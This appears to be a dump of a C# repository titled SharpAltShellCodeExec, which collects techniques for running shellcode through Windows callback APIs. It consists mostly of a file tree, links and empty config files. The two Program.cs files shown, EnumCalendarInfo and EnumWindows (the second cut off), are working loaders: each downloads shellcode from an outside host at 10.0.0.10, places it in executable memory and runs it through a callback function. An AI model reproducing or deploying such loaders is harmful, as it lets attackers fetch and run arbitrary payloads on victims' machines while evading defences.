├── .gitignore ├── LineDDA ├── LineDDA │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── LineDDA.csproj └── LineDDA.sln ├── SetTimer ├── SetTimer │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── SetTimer.csproj └── SetTimer.sln ├── CopyFile2 ├── CopyFile2 │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── CopyFile2.csproj └── CopyFile2.sln ├── EnumDirTree ├── EnumDirTree │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── EnumDirTree.csproj └── EnumDirTree.sln ├── EnumFontsW ├── EnumFontsW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── EnumFontsW.csproj └── EnumFontsW.sln ├── EnumObjects ├── EnumObjects │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── EnumObjects.csproj └── EnumObjects.sln ├── EnumWindows ├── EnumWindows │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── EnumWindows.csproj └── EnumWindows.sln ├── GrayStringW ├── GrayStringW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── GrayStringW.csproj └── GrayStringW.sln ├── EnumDesktopsW ├── EnumDesktopsW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── EnumDesktopsW.csproj └── EnumDesktopsW.sln ├── EnumPageFilesW ├── EnumPageFilesW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── EnumPageFilesW.csproj └── EnumPageFilesW.sln ├── EnumPwrSchemes ├── EnumPwrSchemes │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── EnumPwrSchemes.csproj └── EnumPwrSchemes.sln ├── CallWindowProcW ├── CallWindowProcW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── CallWindowProcW.csproj └── CallWindowProcW.sln ├── CryptEnumOIDInfo ├── CryptEnumOIDInfo │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── CryptEnumOIDInfo.csproj └── CryptEnumOIDInfo.sln ├── EnumCalendarInfo ├── EnumCalendarInfo │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── EnumCalendarInfo.csproj └── EnumCalendarInfo.sln ├── EnumChildWindows ├── EnumChildWindows │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── EnumChildWindows.csproj └── EnumChildWindows.sln ├── EnumDateFormatsW ├── EnumDateFormatsW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumDateFormatsW.sln ├── EnumSystemGeoID ├── EnumSystemGeoID │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ ├── Program.cs │ └── EnumSystemGeoID.csproj └── EnumSystemGeoID.sln ├── EnumUILanguagesW ├── EnumUILanguagesW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumUILanguagesW.sln ├── SymEnumProcesses ├── SymEnumProcesses │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── SymEnumProcesses.sln ├── EnumFontFamiliesW ├── EnumFontFamiliesW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumFontFamiliesW.sln ├── EnumSystemLocales ├── EnumSystemLocales │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumSystemLocales.sln ├── EnumThreadWindows ├── EnumThreadWindows │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumThreadWindows.sln ├── EnumTimeFormatsEx ├── EnumTimeFormatsEx │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumTimeFormatsEx.sln ├── SymFindFileInPath ├── SymFindFileInPath │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── SymFindFileInPath.sln ├── EnumCalenderInfoEx ├── EnumCalenderInfoEx │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumCalenderInfoEx.sln ├── EnumDesktopWindows ├── EnumDesktopWindows │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumDesktopWindows.sln ├── EnumResourceTypesW ├── EnumResourceTypesW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumResourceTypesW.sln ├── EnumSystemGeoNames ├── EnumSystemGeoNames │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumSystemGeoNames.sln ├── README.md ├── SysEnumSourceFiles ├── SysEnumSourceFiles │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── SysEnumSourceFiles.sln ├── CertEnumSystemStore ├── CertEnumSystemStore │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── CertEnumSystemStoreRunner.cs └── CertEnumSystemStore.sln ├── EnumDisplayMonitors ├── EnumDisplayMonitors │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumDisplayMonitors.sln ├── EnumFontFamiliesExW ├── EnumFontFamiliesExW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumFontFamiliesExW.sln ├── EnumWindowStationsW ├── EnumWindowStationsW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumWindowStationsW.sln ├── ConvertThreadToFiber ├── ConvertThreadToFiber │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── ConvertThreadToFiber.sln ├── CreateThreadPoolWait ├── CreateThreadPoolWait │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── CreateThreadPoolWait.sln ├── CreateTimerQueueTimer ├── CreateTimerQueueTimer │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── CreateTimerQueueTimer.sln ├── EnumResourceTypesExW ├── EnumResourceTypesExW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumResourceTypesExW.sln ├── EnumSystemCodePagesW ├── EnumSystemCodePagesW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumSystemCodePagesW.sln ├── SetupCommitFileQueueW ├── SetupCommitFileQueueW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── SetupCommitFileQueueW.sln ├── EnumerateLoadedModules ├── EnumerateLoadedModules │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumerateLoadedModules.sln ├── CertSystemStoreLocation ├── CertSystemStoreLocation │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── CertSystemStoreLocation.sln ├── EnumLanguageGroupLocalesW ├── EnumLanguageGroupLocalesW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumLanguageGroupLocalesW.sln ├── EnumSystemLanguageGroupsW ├── EnumSystemLanguageGroupsW │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── App.config │ └── Program.cs └── EnumSystemLanguageGroupsW.sln └── VerifierEnumerateResource ├── VerifierEnumerateResource ├── Properties │ └── AssemblyInfo.cs ├── App.config └── Program.cs └── VerifierEnumerateResource.sln /.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | -------------------------------------------------------------------------------- /LineDDA/LineDDA/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/LineDDA/LineDDA/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /SetTimer/SetTimer/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/SetTimer/SetTimer/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /CopyFile2/CopyFile2/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CopyFile2/CopyFile2/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumDirTree/EnumDirTree/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumDirTree/EnumDirTree/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumFontsW/EnumFontsW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumFontsW/EnumFontsW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumObjects/EnumObjects/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumObjects/EnumObjects/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumWindows/EnumWindows/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumWindows/EnumWindows/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /GrayStringW/GrayStringW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/GrayStringW/GrayStringW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumDesktopsW/EnumDesktopsW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumDesktopsW/EnumDesktopsW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumPageFilesW/EnumPageFilesW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumPageFilesW/EnumPageFilesW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumPwrSchemes/EnumPwrSchemes/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumPwrSchemes/EnumPwrSchemes/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /CallWindowProcW/CallWindowProcW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CallWindowProcW/CallWindowProcW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /CryptEnumOIDInfo/CryptEnumOIDInfo/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CryptEnumOIDInfo/CryptEnumOIDInfo/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumCalendarInfo/EnumCalendarInfo/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumCalendarInfo/EnumCalendarInfo/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumChildWindows/EnumChildWindows/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumChildWindows/EnumChildWindows/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumDateFormatsW/EnumDateFormatsW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumDateFormatsW/EnumDateFormatsW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumSystemGeoID/EnumSystemGeoID/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumSystemGeoID/EnumSystemGeoID/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumUILanguagesW/EnumUILanguagesW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumUILanguagesW/EnumUILanguagesW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /SymEnumProcesses/SymEnumProcesses/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/SymEnumProcesses/SymEnumProcesses/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumFontFamiliesW/EnumFontFamiliesW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumFontFamiliesW/EnumFontFamiliesW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumSystemLocales/EnumSystemLocales/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumSystemLocales/EnumSystemLocales/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumThreadWindows/EnumThreadWindows/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumThreadWindows/EnumThreadWindows/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumTimeFormatsEx/EnumTimeFormatsEx/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumTimeFormatsEx/EnumTimeFormatsEx/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /SymFindFileInPath/SymFindFileInPath/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/SymFindFileInPath/SymFindFileInPath/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumCalenderInfoEx/EnumCalenderInfoEx/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumCalenderInfoEx/EnumCalenderInfoEx/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumDesktopWindows/EnumDesktopWindows/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumDesktopWindows/EnumDesktopWindows/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumResourceTypesW/EnumResourceTypesW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumResourceTypesW/EnumResourceTypesW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumSystemGeoNames/EnumSystemGeoNames/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumSystemGeoNames/EnumSystemGeoNames/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpAltShellCodeExec 2 | Alternative Shellcode Execution Via Callbacks in C# with P/Invoke 3 | 4 | Most techniques taken from https://github.com/aahmad097/AlternativeShellcodeExec 5 | -------------------------------------------------------------------------------- /SysEnumSourceFiles/SysEnumSourceFiles/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/SysEnumSourceFiles/SysEnumSourceFiles/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /CertEnumSystemStore/CertEnumSystemStore/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CertEnumSystemStore/CertEnumSystemStore/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumDisplayMonitors/EnumDisplayMonitors/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumDisplayMonitors/EnumDisplayMonitors/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumFontFamiliesExW/EnumFontFamiliesExW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumFontFamiliesExW/EnumFontFamiliesExW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumWindowStationsW/EnumWindowStationsW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumWindowStationsW/EnumWindowStationsW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /ConvertThreadToFiber/ConvertThreadToFiber/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/ConvertThreadToFiber/ConvertThreadToFiber/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /CreateThreadPoolWait/CreateThreadPoolWait/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CreateThreadPoolWait/CreateThreadPoolWait/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /CreateTimerQueueTimer/CreateTimerQueueTimer/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CreateTimerQueueTimer/CreateTimerQueueTimer/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumResourceTypesExW/EnumResourceTypesExW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumResourceTypesExW/EnumResourceTypesExW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumSystemCodePagesW/EnumSystemCodePagesW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumSystemCodePagesW/EnumSystemCodePagesW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /SetupCommitFileQueueW/SetupCommitFileQueueW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/SetupCommitFileQueueW/SetupCommitFileQueueW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumerateLoadedModules/EnumerateLoadedModules/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumerateLoadedModules/EnumerateLoadedModules/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /CertSystemStoreLocation/CertSystemStoreLocation/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/CertSystemStoreLocation/CertSystemStoreLocation/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /EnumSystemLanguageGroupsW/EnumSystemLanguageGroupsW/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/EnumSystemLanguageGroupsW/EnumSystemLanguageGroupsW/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /LineDDA/LineDDA/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /VerifierEnumerateResource/VerifierEnumerateResource/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/werdhaihai/SharpAltShellCodeExec/HEAD/VerifierEnumerateResource/VerifierEnumerateResource/Properties/AssemblyInfo.cs -------------------------------------------------------------------------------- /CopyFile2/CopyFile2/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumFontsW/EnumFontsW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SetTimer/SetTimer/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumDirTree/EnumDirTree/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumObjects/EnumObjects/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumWindows/EnumWindows/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /GrayStringW/GrayStringW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CallWindowProcW/CallWindowProcW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumDesktopsW/EnumDesktopsW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumPageFilesW/EnumPageFilesW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumPwrSchemes/EnumPwrSchemes/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumSystemGeoID/EnumSystemGeoID/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CryptEnumOIDInfo/CryptEnumOIDInfo/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumCalendarInfo/EnumCalendarInfo/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumChildWindows/EnumChildWindows/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumDateFormatsW/EnumDateFormatsW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumFontFamiliesW/EnumFontFamiliesW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumSystemLocales/EnumSystemLocales/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumThreadWindows/EnumThreadWindows/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumTimeFormatsEx/EnumTimeFormatsEx/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumUILanguagesW/EnumUILanguagesW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SymEnumProcesses/SymEnumProcesses/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SymFindFileInPath/SymFindFileInPath/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CertEnumSystemStore/CertEnumSystemStore/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ConvertThreadToFiber/ConvertThreadToFiber/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CreateThreadPoolWait/CreateThreadPoolWait/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumCalenderInfoEx/EnumCalenderInfoEx/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumDesktopWindows/EnumDesktopWindows/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumDisplayMonitors/EnumDisplayMonitors/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumFontFamiliesExW/EnumFontFamiliesExW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumResourceTypesExW/EnumResourceTypesExW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumResourceTypesW/EnumResourceTypesW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumSystemCodePagesW/EnumSystemCodePagesW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumSystemGeoNames/EnumSystemGeoNames/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumWindowStationsW/EnumWindowStationsW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SysEnumSourceFiles/SysEnumSourceFiles/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CreateTimerQueueTimer/CreateTimerQueueTimer/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumerateLoadedModules/EnumerateLoadedModules/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SetupCommitFileQueueW/SetupCommitFileQueueW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CertSystemStoreLocation/CertSystemStoreLocation/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumLanguageGroupLocalesW/EnumLanguageGroupLocalesW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumSystemLanguageGroupsW/EnumSystemLanguageGroupsW/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /VerifierEnumerateResource/VerifierEnumerateResource/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EnumCalendarInfo/EnumCalendarInfo/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace EnumCalendarInfo 5 | { 6 | internal class Program 7 | { 8 | static void Main(string[] args) 9 | { 10 | string url = "http://10.0.0.10/shellcode.bin"; 11 | System.Net.WebClient client = new System.Net.WebClient(); 12 | byte[] shellcode = client.DownloadData(url); 13 | 14 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 15 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 16 | 17 | EnumCalendarInfo(addr, 0x400, 0xFFFFFFFF, 0x00000015); 18 | 19 | } 20 | 21 | [DllImport("kernel32.dll", SetLastError = true)] 22 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern bool EnumCalendarInfo(IntPtr lpCalInfoEnumProc, int Locale, uint Calendar, int CalType); 26 | 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /EnumWindows/EnumWindows/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumWindows 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | EnumWindows(addr, IntPtr.Zero); 22 | } 23 | 24 | [DllImport("kernel32.dll", SetLastError = true)] 25 | static extern 